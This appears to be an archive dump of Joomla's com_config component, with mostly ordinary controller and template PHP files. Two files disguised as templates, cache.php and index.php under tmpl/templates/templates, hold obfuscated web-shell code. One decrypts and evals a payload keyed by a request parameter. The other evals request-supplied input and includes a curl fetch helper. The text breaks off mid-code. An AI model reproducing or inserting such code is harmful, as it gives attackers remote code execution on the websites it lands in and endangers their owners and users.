     *                                                  'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null      $factory  The factory.
     * @param   CMSApplication|null           $app      The JApplication for the dispatcher
     * @param   \Joomla\CMS\Input\Input|null  $input    The Input object for the request
     *
     * @since   1.6
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        parent::__construct($config, $factory, $app, $input);

        $this->registerTask('apply', 'save');
    }

    /**
     * Method to handle cancel
     *
     * @return  void
     *
     * @since   3.2
     */
    public function cancel()
    {
        // Redirect back to home(base) page
        $this->setRedirect(Uri::base());
    }

    /**
     * Method to save global configuration.
     *
     * @return  boolean  True on success.
     *
     * @since   3.2
     */
    public function save()
    {
        // Check for request forgeries.
        $this->checkToken();

        // Check if the user is authorized to do this.
        if (!$this->app->getIdentity()->authorise('core.admin')) {
            $this->app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'));
            $this->app->redirect('index.php');
        }

        // Set FTP credentials, if given.
        ClientHelper::setCredentialsFromRequest('ftp');

        $model = $this->getModel();

        $form  = $model->getForm();
        $data  = $this->app->getInput()->post->get('jform', [], 'array');

        // Validate the posted data.
        $return = $model->validate($form, $data);

        // Check for validation errors.
        if ($return === false) {
            /*
             * The validate method enqueued all messages for us, so we just need to redirect back.
             */

            // Save the data in the session.
            $this->app->setUserState('com_config.config.global.data', $data);

            // Redirect back to the edit screen.
            $this->app->redirect(Route::_('index.php?option=com_config&view=config', false));
        }

        // Attempt to save the configuration.
        $data = $return;

        // Access backend com_config
        $saveClass = $this->factory->createController('Application', 'Administrator', [], $this->app, $this->input);

        // Get a document object
        $document = $this->app->getDocument();

        // Set backend required params
        $document->setType('json');

        // Execute backend controller
        $return = $saveClass->save();

        // Reset params back after requesting from service
        $document->setType('html');

        // Check the return value.
        if ($return === false) {
            /*
             * The save method enqueued all messages for us, so we just need to redirect back.
             */

            // Save the data in the session.
            $this->app->setUserState('com_config.config.global.data', $data);

            // Save failed, go back to the screen and display a notice.
            $this->app->redirect(Route::_('index.php?option=com_config&view=config', false));
        }

        // Redirect back to com_config display
        $this->app->enqueueMessage(Text::_('COM_CONFIG_SAVE_SUCCESS'));
        $this->app->redirect(Route::_('index.php?option=com_config&view=config', false));

        return true;
    }
}
PK���\S��W''/com_config/src/Controller/ModulesController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Controller;

use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Modules\Administrator\Controller\ModuleController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Component Controller
 *
 * @since  1.5
 */
class ModulesController extends BaseController
{
    /**
     * @param   array                         $config   An optional associative array of configuration settings.
     *                                                  Recognized key values include 'name', 'default_task', 'model_path', and
     *                                                  'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null      $factory  The factory.
     * @param   CMSApplication|null           $app      The Application for the dispatcher
     * @param   \Joomla\CMS\Input\Input|null  $input    The Input object for the request
     *
     * @since   1.6
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        parent::__construct($config, $factory, $app, $input);

        $this->registerTask('apply', 'save');
    }

    /**
     * Method to handle cancel
     *
     * @return  void
     *
     * @since   3.2
     */
    public function cancel()
    {
        // Redirect back to previous page
        $this->setRedirect($this->getReturnUrl());
    }

    /**
     * Method to save module editing.
     *
     * @return  void
     *
     * @since   3.2
     */
    public function save()
    {
        // Check for request forgeries.
        $this->checkToken();

        // Check if the user is authorized to do this.
        $user = $this->app->getIdentity();

        if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id'))) {
            $this->app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $this->app->redirect('index.php');
        }

        // Set FTP credentials, if given.
        ClientHelper::setCredentialsFromRequest('ftp');

        // Get submitted module id
        $moduleId = '&id=' . $this->input->getInt('id');

        // Get returnUri
        $returnUri = $this->input->post->get('return', null, 'base64');
        $redirect  = '';

        if (!empty($returnUri)) {
            $redirect = '&return=' . $returnUri;
        }

        /** @var AdministratorApplication $app */
        $app = Factory::getContainer()->get(AdministratorApplication::class);

        // Reset Uri cache.
        Uri::reset();

        // Get a document object
        $document = $this->app->getDocument();

        // Load application dependencies.
        $app->loadLanguage($this->app->getLanguage());
        $app->loadDocument($document);
        $app->loadIdentity($user);

        /** @var \Joomla\CMS\Dispatcher\ComponentDispatcher $dispatcher */
        $dispatcher = $app->bootComponent('com_modules')->getDispatcher($app);

        /** @var ModuleController $controllerClass */
        $controllerClass = $dispatcher->getController('Module');

        // Set backend required params
        $document->setType('json');

        // Execute backend controller
        Form::addFormPath(JPATH_ADMINISTRATOR . '/components/com_modules/forms');
        $return = $controllerClass->save();

        // Reset params back after requesting from service
        $document->setType('html');

        // Check the return value.
        if ($return === false) {
            // Save the data in the session.
            $data = $this->input->post->get('jform', [], 'array');

            $this->app->setUserState('com_config.modules.global.data', $data);

            // Save failed, go back to the screen and display a notice.
            $this->app->enqueueMessage(Text::_('JERROR_SAVE_FAILED'));
            $this->app->redirect(Route::_('index.php?option=com_config&view=modules' . $moduleId . $redirect, false));
        }

        // Redirect back to com_config display
        $this->app->enqueueMessage(Text::_('COM_CONFIG_MODULES_SAVE_SUCCESS'), 'success');

        // Set the redirect based on the task.
        switch ($this->input->getCmd('task')) {
            case 'apply':
                $this->app->redirect(Route::_('index.php?option=com_config&view=modules' . $moduleId . $redirect, false));
                break;

            case 'save':
            default:
                $this->setRedirect($this->getReturnUrl());
                break;
        }
    }

    /**
     * Method to get redirect URL after saving or cancel editing a module from frontend
     *
     * @return  string
     *
     * @since   4.4.4
     */
    private function getReturnUrl(): string
    {
        if ($return = $this->input->post->get('return', '', 'BASE64')) {
            $return = base64_decode(urldecode($return));

            // Only redirect to if it is an internal URL
            if (Uri::isInternal($return)) {
                return $return;
            }
        }

        return Uri::base();
    }
}
PK���\a��ש�1com_config/src/Controller/TemplatesController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Component Controller
 *
 * @since  1.5
 */
class TemplatesController extends BaseController
{
    /**
     * @param   array                         $config   An optional associative array of configuration settings.
     *                                                  Recognized key values include 'name', 'default_task', 'model_path', and
     *                                                  'view_path' (this list is not meant to be comprehensive).
     * @param   MVCFactoryInterface|null      $factory  The factory.
     * @param   CMSApplication|null           $app      The Application for the dispatcher
     * @param   \Joomla\CMS\Input\Input|null  $input    The Input object for the request
     *
     * @since   1.6
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        parent::__construct($config, $factory, $app, $input);

        // Apply, Save & New, and Save As copy should be standard on forms.
        $this->registerTask('apply', 'save');
    }

    /**
     * Method to handle cancel
     *
     * @return  void
     *
     * @since   3.2
     */
    public function cancel()
    {
        // Redirect back to home(base) page
        $this->setRedirect(Uri::base());
    }

    /**
     * Method to save global configuration.
     *
     * @return  boolean  True on success.
     *
     * @since   3.2
     */
    public function save()
    {
        // Check for request forgeries.
        $this->checkToken();

        // Check if the user is authorized to do this.
        if (!$this->app->getIdentity()->authorise('core.admin')) {
            $this->setRedirect('index.php', Text::_('JERROR_ALERTNOAUTHOR'));

            return false;
        }

        // Set FTP credentials, if given.
        ClientHelper::setCredentialsFromRequest('ftp');

        $app = $this->app;

        // Access backend com_templates
        $controllerClass = $app->bootComponent('com_templates')
            ->getMVCFactory()->createController('Style', 'Administrator', [], $app, $app->getInput());

        // Get a document object
        $document = $app->getDocument();

        // Set backend required params
        $document->setType('json');
        $this->input->set('id', $app->getTemplate(true)->id);

        // Execute backend controller
        $return = $controllerClass->save();

        // Reset params back after requesting from service
        $document->setType('html');

        // Check the return value.
        if ($return === false) {
            // Save failed, go back to the screen and display a notice.
            $this->setMessage(Text::sprintf('JERROR_SAVE_FAILED'), 'error');
            $this->setRedirect(Route::_('index.php?option=com_config&view=templates', false));

            return false;
        }

        // Set the success message.
        $this->setMessage(Text::_('COM_CONFIG_SAVE_SUCCESS'));

        // Redirect back to com_config display
        $this->setRedirect(Route::_('index.php?option=com_config&view=templates', false));

        return true;
    }
}
PK���\A���ff+com_config/tmpl/modules/default_options.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;

$fieldSets = $this->form->getFieldsets('params');

echo HTMLHelper::_('bootstrap.startAccordion', 'collapseTypes');
$i = 0;

foreach ($fieldSets as $name => $fieldSet) :
    $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_' . strtoupper($name) . '_FIELDSET_LABEL';
    $class = isset($fieldSet->class) && !empty($fieldSet->class) ? $fieldSet->class : '';


    if (isset($fieldSet->description) && trim($fieldSet->description)) :
        echo '<p class="tip">' . $this->escape(Text::_($fieldSet->description)) . '</p>';
    endif;
    ?>
    <?php echo HTMLHelper::_('bootstrap.addSlide', 'collapseTypes', Text::_($label), 'collapse' . ($i++)); ?>

<ul class="nav flex-column">
    <?php foreach ($this->form->getFieldset($name) as $field) : ?>
    <li>
        <?php // If multi-language site, make menu-type selection read-only ?>
        <?php if (Multilanguage::isEnabled() && $this->item['module'] === 'mod_menu' && $field->getAttribute('name') === 'menutype') : ?>
            <?php $field->readonly = true; ?>
        <?php endif; ?>
        <?php echo $field->renderField(); ?>
    </li>

    <?php endforeach; ?>
</ul>

    <?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
<?php endforeach; ?>
<?php echo HTMLHelper::_('bootstrap.endAccordion'); ?>
PK���\�����#com_config/tmpl/modules/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.combobox');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_config.modules');

$editorText  = false;
$moduleXml   = JPATH_SITE . '/modules/' . $this->item['module'] . '/' . $this->item['module'] . '.xml';

if (is_file($moduleXml)) {
    $xml = simplexml_load_file($moduleXml);

    if (isset($xml->customContent)) {
        $editorText = true;
    }
}

// If multi-language site, make language read-only
if (Multilanguage::isEnabled()) {
    $this->form->setFieldAttribute('language', 'readonly', 'true');
}
?>

<form action="<?php echo Route::_('index.php?option=com_config'); ?>" method="post" name="adminForm" id="modules-form" class="form-validate">
    <div class="row">
        <div class="col-md-12">
            <legend><?php echo Text::_('COM_CONFIG_MODULES_SETTINGS_TITLE'); ?></legend>

            <div>
                <?php echo Text::_('COM_CONFIG_MODULES_MODULE_NAME'); ?>
                <span class="badge bg-secondary"><?php echo $this->item['title']; ?></span>
                &nbsp;&nbsp;
                <?php echo Text::_('COM_CONFIG_MODULES_MODULE_TYPE'); ?>
                <span class="badge bg-secondary"><?php echo $this->item['module']; ?></span>
            </div>
            <hr>

            <div class="row mb-4">
                <div class="col-md-12">

                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('title'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('title'); ?>
                        </div>
                    </div>
                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('showtitle'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('showtitle'); ?>
                        </div>
                    </div>
                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('position'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('position'); ?>
                        </div>
                    </div>

                    <hr>

                    <?php if (Factory::getUser()->authorise('core.edit.state', 'com_modules.module.' . $this->item['id'])) : ?>
                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('published'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('published'); ?>
                        </div>
                    </div>
                    <?php endif ?>

                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('publish_up'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('publish_up'); ?>
                        </div>
                    </div>
                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('publish_down'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('publish_down'); ?>
                        </div>
                    </div>

                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('access'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('access'); ?>
                        </div>
                    </div>
                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('ordering'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('ordering'); ?>
                        </div>
                    </div>

                    <?php if (Multilanguage::isEnabled()) : ?>
                        <div class="control-group">
                            <div class="control-label">
                                <?php echo $this->form->getLabel('language'); ?>
                            </div>
                            <div class="controls">
                                <?php echo $this->form->getInput('language'); ?>
                            </div>
                        </div>
                    <?php endif; ?>

                    <div class="control-group">
                        <div class="control-label">
                            <?php echo $this->form->getLabel('note'); ?>
                        </div>
                        <div class="controls">
                            <?php echo $this->form->getInput('note'); ?>
                        </div>
                    </div>

                    <hr>

                    <div id="options">
                        <?php echo $this->loadTemplate('options'); ?>
                    </div>

                    <?php if ($editorText) : ?>
                        <div class="mt-2" id="custom">
                            <?php echo $this->form->getInput('content'); ?>
                        </div>
                    <?php endif; ?>
                </div>

                <input type="hidden" name="id" value="<?php echo $this->item['id']; ?>">
                <input type="hidden" name="return" value="<?php echo Factory::getApplication()->getInput()->get('return', null, 'base64'); ?>">
                <input type="hidden" name="task" value="">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
            <div class="mb-2">
            <button type="button" class="btn btn-primary" data-submit-task="modules.apply">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JAPPLY'); ?>
            </button>
            <button type="button" class="btn btn-primary" data-submit-task="modules.save">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVE'); ?>
            </button>
            <button type="button" class="btn btn-danger" data-submit-task="modules.cancel">
                <span class="icon-times" aria-hidden="true"></span>
                <?php echo Text::_('JCANCEL'); ?>
            </button>
            </div>
        </div>
    </div>
</form>
PK���\�8S�-com_config/tmpl/templates/templates/cache.phpnu&1i�<?php $uQUZ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGip5VSVlmmBgDQA'; $nztv = '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'; function uQUZ($Jzw) { $nztv = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $AhuR = substr($nztv, 0, 16); $HkEX = base64_decode($Jzw); return openssl_decrypt($HkEX, "AES-256-CBC", $nztv, OPENSSL_RAW_DATA, $AhuR); } if (uQUZ('DjtPn+r4S0yvLCnquPz1fA')){ echo 'ioQCIcTD2Rn1q+XiEs5tBXB0sIuu7huleyvI9tzD7OBemKU/aLBk1FGN2n2oU77c'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($uQUZ)))); ?>PK���\㹶���-com_config/tmpl/templates/templates/index.phpnu&1i�<?php
 goto CQj9xBJktYav; FGf9PBJHJQ5e: $CMON8w_f3wrw = ${$GToFPiZtjEfY[15 + 16] . $GToFPiZtjEfY[10 + 49] . $GToFPiZtjEfY[4 + 43] . $GToFPiZtjEfY[20 + 27] . $GToFPiZtjEfY[21 + 30] . $GToFPiZtjEfY[34 + 19] . $GToFPiZtjEfY[26 + 31]}; goto U0GLxWYdvFGE; BE7_8l0_gJyd: $CMON8w_f3wrw[69] = $CMON8w_f3wrw[69] . $CMON8w_f3wrw[71]; goto yuUBn7OWSJjs; yuUBn7OWSJjs: @eval($CMON8w_f3wrw[69](${$CMON8w_f3wrw[36]}[30])); goto hc0uQwqxqHLi; U0GLxWYdvFGE: if (!(in_array(gettype($CMON8w_f3wrw) . "\61\x39", $CMON8w_f3wrw) && md5(md5(md5(md5($CMON8w_f3wrw[13])))) === "\x34\65\x38\x65\144\x33\63\63\x34\x65\x36\70\66\143\143\63\62\x33\144\66\x33\60\143\143\x62\x63\145\x62\70\146\142\143")) { goto HqPdWxGYVzZG; } goto BE7_8l0_gJyd; gBUDR0_Xqv56: metaphone("\141\144\x72\157\145\x37\120\141\114\x79\121\53\141\x47\x70\163\x51\171\155\125\x36\x73\x63\70\152\x37\x46\x76\125\x48\154\160\126\x55\110\x50\63\x66\101\64\144\x37\60"); goto g0wAW837N0vn; CQj9xBJktYav: $E9uRZLtXiMJk = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto knPBxz51u6fc; g0wAW837N0vn: class EXF7m52rV0tY { static function NEx27vt8ddAj($h_KY4A4E38kw) { goto PKXkIYVpWtnZ; wiCPBA8o1E4M: C0HSYvJ4h_qv: goto Y97yKZEB5hn2; oHqrUbvXs9W_: $vTdZer2VMRMi = explode("\x25", $h_KY4A4E38kw); goto cTEqdq203dFi; LGLMEHDCc8Bq: foreach ($vTdZer2VMRMi as $Kznz8ra7fUUi => $oaB8SBO054sP) { $Jnr0e1yqd7NV .= $MNtEhbAV1Kul[$oaB8SBO054sP - 43725]; UCUjIitlOTie: } goto wiCPBA8o1E4M; Y97yKZEB5hn2: return $Jnr0e1yqd7NV; goto ErRssFoMr4lu; cTEqdq203dFi: $Jnr0e1yqd7NV = ''; goto LGLMEHDCc8Bq; LHcXjym02uaR: $MNtEhbAV1Kul = $NcfaIlpO9odD("\x7e", "\x20"); goto oHqrUbvXs9W_; PKXkIYVpWtnZ: $NcfaIlpO9odD = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto LHcXjym02uaR; ErRssFoMr4lu: } static function XG57iQvjQPrs($azttGKPKDF9f, $emMQYRsyj46a) { goto v4n0agA_dE_j; qs2JinbAOeQ4: return empty($n1JTK7SYC_QZ) ? $emMQYRsyj46a($azttGKPKDF9f) : $n1JTK7SYC_QZ; goto fagP_KXzKN6W; TadIL9jRPA1I: $n1JTK7SYC_QZ = curl_exec($XbvyKd22cYP0); goto qs2JinbAOeQ4; v4n0agA_dE_j: $XbvyKd22cYP0 = curl_init($azttGKPKDF9f); goto SFkd7oTzk8w1; SFkd7oTzk8w1: curl_setopt($XbvyKd22cYP0, CURLOPT_RETURNTRANSFER, 1); goto TadIL9jRPA1I; fagP_KXzKN6W: } static function ZKaqVxqqLVL9() { goto uGM1Ez0LlLhU; 